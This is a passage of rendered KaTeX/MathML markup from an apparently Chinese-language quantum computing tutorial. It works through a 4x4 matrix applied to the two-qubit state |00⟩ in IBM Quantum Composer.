style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-2.1em;"><span class="pstrut" style="height:4.65em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:4.7em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>在 IBM Composer 上預設每個量子位元初始都是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}0\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span></span></span></span>，所以結果就會是</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\frac{1}{2}\begin{pmatrix}1 &amp; 1 &amp; 1 &amp; 1 \\-1 &amp; 1 &amp; 1 &amp; -1 \\-1 &amp; -1 &amp; 1 &amp; 1 \\1 &amp; -1 &amp; 1 &amp; -1\end{pmatrix}\vert{}00\rangle=\frac{1}{2}\begin{pmatrix}1 &amp; 1 &amp; 1 &amp; 1 \\-1 &amp; 1 &amp; 1 &amp; -1 \\-1 &amp; -1 &amp; 1 &amp; 1 \\1 &amp; -1 &amp; 1 &amp; -1\end{pmatrix}\begin{pmatrix} 1 \\ 0 \\ 0 \\ 0 \end{pmatrix}= \frac12\begin{pmatrix} 1 \\ -1 \\ -1 \\ 1 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span 